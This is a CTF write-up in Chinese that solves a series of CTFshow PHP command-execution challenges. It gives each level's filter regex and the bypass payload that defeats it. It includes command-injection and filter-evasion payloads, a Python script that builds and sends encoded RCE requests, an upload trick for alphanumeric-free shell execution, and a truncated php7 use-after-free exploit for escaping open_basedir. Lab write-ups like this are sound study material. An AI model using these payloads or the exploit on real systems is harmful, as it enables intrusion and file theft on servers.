CTFshow_web入门_命令执行

CTFshow_命令执行

参考

yu22x

https://wp.ctf.show/d/139-web
https://www.cnblogs.com/wrnan/p/13765680.html
https://blog.csdn.net/rfrder/article/details/112862827

https://blog.csdn.net/solitudi/article/details/109837640

0x00 web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
  • 只过滤flag【不区分大小写】
  • ?c=system('ls');
  • ?c=system('cat `ls`');
  • 预期解:echo `nl fl''ag.php`;

0x01 web30

if(!preg_match("/flag|system|php/i", $c)){
  • 过滤了文件名、一个系统命令执行函数、php【不区分大小写】
  • ?c=passthru('ls');
  • ?c=passthru("nl fl''ag.ph''p");
  • 预期解:echo `nl fl''ag.p''hp`;

0x02 web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
  • 过滤了文件名、system、php、cat、sort、shell、点号、空格、单引号【不区分大小写】

sort的过滤是因为usort()/uasort()?

  • ?c=passthru("ls");
  • ?c=passthru("nl%20`ls`");为什么失败?是因为后端URL解码后,还是空格,然后被过滤【实践后:✔】
  • ?c=passthru("nl%09`ls`");
  • 预期解:show_source(next(array_reverse(scandir(pos(localeconv())))));【无参数RCE】

0x03 web32

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、;、左括号【不区分大小写】
  • ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php

0x04 web33

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、双引号【不区分大小写】
  • ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64- encode/resource=flag.php【闭合后在重新写个PHP,感觉有点多余】

0x05 web34

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号【不区分大小写】

这里过滤冒号,那么没过滤冒号时的payload是怎么样的==???==

  • c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php【好家伙,一模一样】

0x06 web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号、左尖括号、等于号【不区分大小写】
  • 额,好像没区别
  • c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

0x07 web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
  • 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号、左尖括号、等于号、数字【不区分大小写】
  • c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • 预期解:c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php【好家伙,又和我的一模一样】

web29~web36 Payload整理:

?c=

system('cat `ls`'); 

echo `nl fl''ag.php`; 

passthru("nl fl''ag.ph''p"); 

echo `nl fl''ag.p''hp`; 

show_source(next(array_reverse(scandir(pos(localeconv())))));

include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 

$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php 

include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 

0x08 web37

  • 居然换了,这题在考文件包含??
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag; 
    }
  • ?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
  • 预期解:data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 查看源代码 或者通过包含日志文件拿shell

0x09 web38

if(!preg_match("/flag|php|file/i", $c)){

过滤了file,之前是怎么用file读取的==???==

  • ?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
  • 预期解:nginx的日志文件/var/log/nginx/access.log data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 查看源代码 或者通过包含日志文件拿shell

0x0A web39

if(!preg_match("/flag/i", $c)){
        include($c.".php");
  • 还是利用data
  • ?c=data:text/plain,<?php system('cat f*')?>
  • $flag="flag{db13407e-87cf-4664-9938-25af2a20419b}";.php后面显示.php,是因为 <?php ?>.php 因为前面的php语句已经闭合了,.php会被当成html页面直接显示在页面上

0x0B web40

    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
  • 不会,居然过滤的是中文括号

这是要告诉我们过滤和绕过时要小心细心,免得中英文标点混淆?

  • 无参数RCE【顺便复习下】
  • payload:

  • ?c=print_r(scandir(pos(localeconv())));读目录
    ?c=echo(readfile(array_rand(array_flip(scandir(pos(localeconv()))))));随机读取出文件【多发送几次即可】

  • ?c=eval(end(current(get_defined_vars())));&b=highlight_file('flag.php');

  • ?c=eval((next(array_reverse(getallheaders()))));
User-Agent: highlight_file('flag.php');
Content-Length: 2
Content-Type:

22

  • show_source(next(array_reverse(scandir(pos(localeconv())))));


  • ?c=eval(array_rand(array_flip(getallheaders())));

  • hint中用了Session,但hex2bin被过滤,没找到其他方式读取flag.php

  • 预期解:show_source(next(array_reverse(scandir(pos(localeconv())))));

0x0C web41

参考文章@miuzzx

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
  • 过滤数字、字母、^、+、~、$、[、]、{、}、&、-【不区分大小写】

  • & 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异|没有过滤,过滤的字符是防异或、自增和取反构造字符

  • 参考博客中的脚本:
    生成可用字符的集合:
    思路是:

    从所有字符(ASCII[0-255])中排除掉被过滤的,然后在判断或运算得到的字符是否为可见字符

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);#dechex() 函数把十进制转换为十六进制。
		}
        /*
        dechex([0-15])的值为一个字符[0-f],加上0,变0[0-f];和下面的两位十六进制搭配
        256=16*16;刚好ff=255
        */
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}#以上为获取2组范围为[00-ff]的16进制数
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';#题目的正则表达式
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
			echo "";#hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。剔除符合正则表达式的字符
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;#URL编码是百分号%与一个字节的十六进制数组成的
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) { //ASCII[32-126]是可见字符
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);#写入文件
fclose($myfile);
?>
# -*- coding: utf-8 -*-
import requests
import urllib
import sys
import os
#os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(sys.argv)!=2):#sys.argv[0]为程序本身,之后的值才是参数;sys.argv是个列表
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=sys.argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   print(output)
   return(output)
'''
#函数的作用:读取输入的值【input()】,从rce_or.txt中依次寻找出对应的值,并将位运算的前值赋予s1、s2
s1、s2用括号包裹起来,为的是动态执行函数【故PHP>7】
'''
while True:#Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)#将param进行URL解码
   }
   print(data)
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)
  • 分析学习了一波脚本,yu师傅yyds
  • 按脚本的意思执行即可,我是用system和ls;system和cat flag.php来获取flag

0x0D web42

$c=$_GET['c'];
system($c." >/dev/null 2>&1");
  • >/dev/null 2>&1的意思是将命令的输出丢弃,错误输出也丢弃;详细介绍见参考文章

  • 那么为了有输出,应该截断后面

  • payload:?c=cat flag;

  • 截断符还可用:%0a【换行符URL】%26【&URL】%26%26【&&URL】和||

    其他Payload合集:

  • sed -n '1,75p' flag.php||

  • tail -n +15 flag.php|| or head -n +15 flag.php|| or…

  • cut -c- flag.php||

  • more flag.php|| or less flag.php||

  • strings flag.php||

  • od -bc flag.php||

  • awk '{print $1,$15}' flag.php||

  • curlwegt是配合伪协议读取文件:curl file:///etc/passwd

  • %0d 回车符失败

16进制代码中“0A”是换行,如果只有“0D”,那么光标会回到这一行的开始处,只有“0A“、”0D”一起用,才能使光标到下一行的开始处。

0x0E web43

if(!preg_match("/\;|cat/i", $c)){        system($c." >/dev/null 2>&1");
  • 上一题中随便挑一个即可
  • payload:?c=tac flag.php%26
  • 预期解:nl flag.php%0a

0x0F web44

if(!preg_match("/;|cat|flag/i", $c)){        system($c." >/dev/null 2>&1");
  • payload:c\at fla\g.php%26
  • 预期解:nl fla*.php%0a

0x10 web45

if(!preg_match("/\;|cat|flag| /i", $c)){        system($c." >/dev/null 2>&1");
  • payload:c\at${IFS}fla\g.php%26

在bash下,可以用以下字符代替空格
< 、<>、{ }、%20(空格URL)、%09(tabURL)、$IFS$9、 ${IFS}、$IFS

  • 预期解:echo$IFS`tac$IFS*`%0A

0x11 web46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$ 、*【不区分大小写】
  • 搞错了,还认为\\$匹配的是以\结束
  • 一番实验后发现PHP中\\$匹配的是$,是因为PHP字符串中反斜杠有转义的作用,\\转义成\,\$在正则表达式中有特殊意义,即转义美元符号$
  • payload:?c=tac<fla\g.php%26
  • 预期解:nl<fla''g.php||

0x12 web47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail【不区分大小写】
  • 笔记中居然没有sort【用于将文本文件内容加以排序】,长见识了
  • payload:?c=sor\t<fla\g.php%26
  • 预期解:nl<fla''g.php||

0x13 web48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`【不区分大小写】
  • payload:?c=sor\t<fla\g.php%26
  • 预期解:nl<fla''g.php||

0x14 web49

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、 %【不区分大小写】
  • payload:?c=tac<fla\g.php||
  • 预期解:nl<fla''g.php||

0x15 web50

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、\x09【制表符】、\x26【&】【不区分大小写】
  • payload:?c=tac<fla\g.php||
  • 预期解:nl<fla''g.php||

0x16 web51

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】【不区分大小写】
  • payload:?c=ta\c<fla\g.php||
  • 预期解:nl<fla''g.php||

0x17 web52

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
  • 过滤 ;、cat、flag、空格、数字、$ 、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】
  • ?c={nl,fla\g.php}|| 为什么不行??
  • 后来发现$居然被取消过滤??
  • payload:?c=ta\c${IFS}/fla\g||
  • 预期解:nl$IFS/fla''g||

0x18 web53

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }

过滤 ;、cat、flag、空格、数字、$ 、*、more、wegt、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】

  • payload:?c=ta\c${IFS}fla\g.php
  • 预期解:c''at${IFS}fla''g.p''hp

0x19 web54

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
  • 过滤 ;、cat、flag、空格、数字、$ 、*、more、wegt、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、nl、scp、rm、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】【点号匹配除换行符外的字符】
  • echo${IFS}${SHELLOPTS} 为什么无回显?
  • payload:/bin/?at${IFS}f???.php
  • 预期解:/bin/?at${IFS}f???????

scp、rm是过滤什么命令?

0x1A web55

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
  • 过滤分号、字母、反引号、百分号、\x09【制表符】、\x26【&】、<、>【不区分大小写】
  • 这道题应该是从p神的两篇文章改编过来的 一些不包含数字和字母的webshell 无字母数字webshell之提高篇
  • 其中第一篇的三种方法都需要用到;,故无解
  • 第二篇则通过PHP5+shell可解
  • ①shell下可以利用.来执行任意脚本
    .相当于source命令可以执行文件中的文本【不需要x权限】
    . file的意思就是用bash执行file文件中的命令
  • ②Linux文件名支持用glob通配符代替
    为了利用.执行文件中的命令,故需找到可控的文件
    p神提供的方法是通过构造上传文件的post包,使得PHP将上传的文件保存在临时文件夹下。默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
    =》故可用通配符?来匹配;为了排除其他文件的干扰,使用[@-[]匹配大写字母
    【当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。】
  • 构造payload:
  • 抓主页包修改
  • 请求包第一行改为POST /?c=.%20/???/????????[@-[] HTTP/1.1
  • 请求包最下方添加【即构造上传文件包】
Content-Type: multipart/form-data; boundary=----1
Content-Length: 132

------1
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

#!/bin/sh
whoami
------1--
  • 或者用这位师傅的方法:写一个上传文件的表单,再抓包修改
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

再用类似我的方法修改请求包即可

刚才那位师傅中还提到了为什么有时候eval函数中要用到?><?=
原因是eval()函数相当于执行php的代码,而<?= 就相当于<?php echo
在PHP7以上不管short_open_tag配置是不是开启的。都可以使用。
所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。

补充来源
解题思路:没有过滤数字,寻找带有数字的查看文件命令
方法二:

  • 找到/bin/base64
  • payload:?c=/???/????64 ????.??? 【即/bin/base64 flag.php】
    方法三:
  • 找到bzip2【bzip2是linux下面的压缩文件的命令】
  • 可以通过该命令压缩flag.php 然后进行下载
  • payload:?c=/???/???/????2 ????.???【即/usr/bin/bzip2 flag.php】
  • 然后访问/flag.php.bz2进行下载获得flag.php

0x1B web56

if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
  • 与上一题比较多过滤了一些东西,但上一题的解法依旧可以

0x1C web57

if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
  • 不会
  • 看wp,只要构造出36即可【36D?】
  • 解法有两种,学习参考了好几位师傅【Firebasky、rfrder、wrnan、l0nmar】的wp

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。

表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。

可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。

可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。

注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

  • \$(())=0 ~\$(())=-1[b=~a 满足a+b=-1]
  • 构造36
$((     $((~$(())))       $((~$(())))        ))  #是-2
$((~$(()))) #是-1
#故双小括号中若无运算符,则默认相加

故在\$(())里面放37个$((~$(()))),得到-37,取反得到36。
payload:

$((~$((     $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))        ))))
  • 或者
  • ${_}返回上一次命令执行的结果,若无上一次,则返回空,即与""等价
  • $((""))值为0,$((~$((""))))值为-1
  • 故重复上一种解法,只不过添加上${_}
  • payload:
$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

0x1D web58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}
  • 读目录c=print_r(scandir('.'));
    payload:POST:c=show_source('flag.php');

web58到web65都可以使用上面的payload,但有好多姿势,直接合在一起总结:
①读文件的函数可替换成:

file_get_contents()
highlight_file()
show_source()
file() 配合打印函数
readfile()

②利用fopen打开文件结合文件读取文件:

函数:
fread()
fgets()
fgetc()
fgetss() //php7.3版本后 该函数已不再被使用
fgetcsv()
fpassthru()
    
$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}      
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
$a=fopen("flag.php","r");echo fpassthru($a);

$a=fopen("flag.php","r");while($b=fgets($a)){echo $b;}

③读取目录:

c=print_r(scandir('.'));#读取当前目录
c=print_r(scandir('/'));#读取根目录,读其他同理
c=print_r(glob('/*/*'));#配合正则表达式,读目录 glob() 函数返回匹配指定模式的文件名或目录。
c=$a=opendir("/");while(($file = readdir($a)) !== false){echo $file . "<br>"; };

print_r()可以换成var_dump()var_export()

var_export()与var_dump()类似,但其返回的是合法的PHP代码

  • 或者
    遍历打印数组【目录是一个数组
c=
$a=scandir("/");
foreach($a as $value){
echo $value."   ";
}


c=
$a=new DirectoryIterator('glob:///*'); //("glob:///bin/*")
foreach($a as $f){
echo($f->__toString()." ");
}
#The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.

④复制、重命名 :
copy(),将flag文件内容复制到其他文件,再访问该文件
copy("flag.php","flag.txt");
rename(),将flag文件重命名,再访问该文件
rename("flag.php","flag.txt");

⑤用文件包含读取【是因为后面flag在TXT文件中】
include("flag.txt"); require("flag.txt");

参考

0x1E~24 web59~65

见上一题

0x25 web66

  • show_source函数被禁用,改用highlight_file函数
  • flag不在当前目录下,c=print_r(scandir('/'))寻找

0x26 web67

  • print_r(scandir('/'))改为c=var_dump(scandir('/'));

0x27 web68

  • 读文件函数被全禁用,恰好flag在TXT中,使用文件包含读取
  • payload:c=include('/flag.txt');

0x28 web69

  • c=var_dump(scandir('/'));改为c=var_export(scandir('/'));
  • c=include('/flag.txt');

0x29 web70

同69

0x2A web71

highlight_file()被禁用了,直接给出了index.php

error_reporting(0);
ini_set('display_errors', 0);
//上面两句都是不显示错误的意思,双保险
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();//返回输出缓冲区的内容
        ob_end_clean();//清空(擦除)缓冲区并关闭输出缓冲
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);//正则替换数字和字母
}else{
    highlight_file(__FILE__);
}

ob_end_clean()丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

  • 使用exit或者die提前结束进程,便可绕过后面的代码

  • payload:

    c=var_export(scandir('/'));die(); c=include("/flag.txt");exit();

0x2B web72

代码和web71一样

error_reporting(0);
ini_set('display_errors', 0);
//上面两句都是不显示错误的意思,双保险
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
  • 查看目录时发现存在open_basedir,c=var_export(scandir('/'));die();
Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。

利用glob伪协议在筛选目录时不受open_basedir制约

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit();

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();

看其他人wp利用php7-gc

漏洞利用的pocphp7-backtrace-bypass 看起来好像是关于二进制漏洞方面,放弃分析poc

直接使用GitHub上的Payload会失败,原因应该是多禁用了str_repeat('A', 79)chr()

chr($ptr & 0xff)sprintf('%c',$ptr & 0xff)代替

str_repeat('A', 79)用79个A代替【比对羽师傅的脚本】

?><?php
pwn("ls /;cat /flag0.txt");

function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
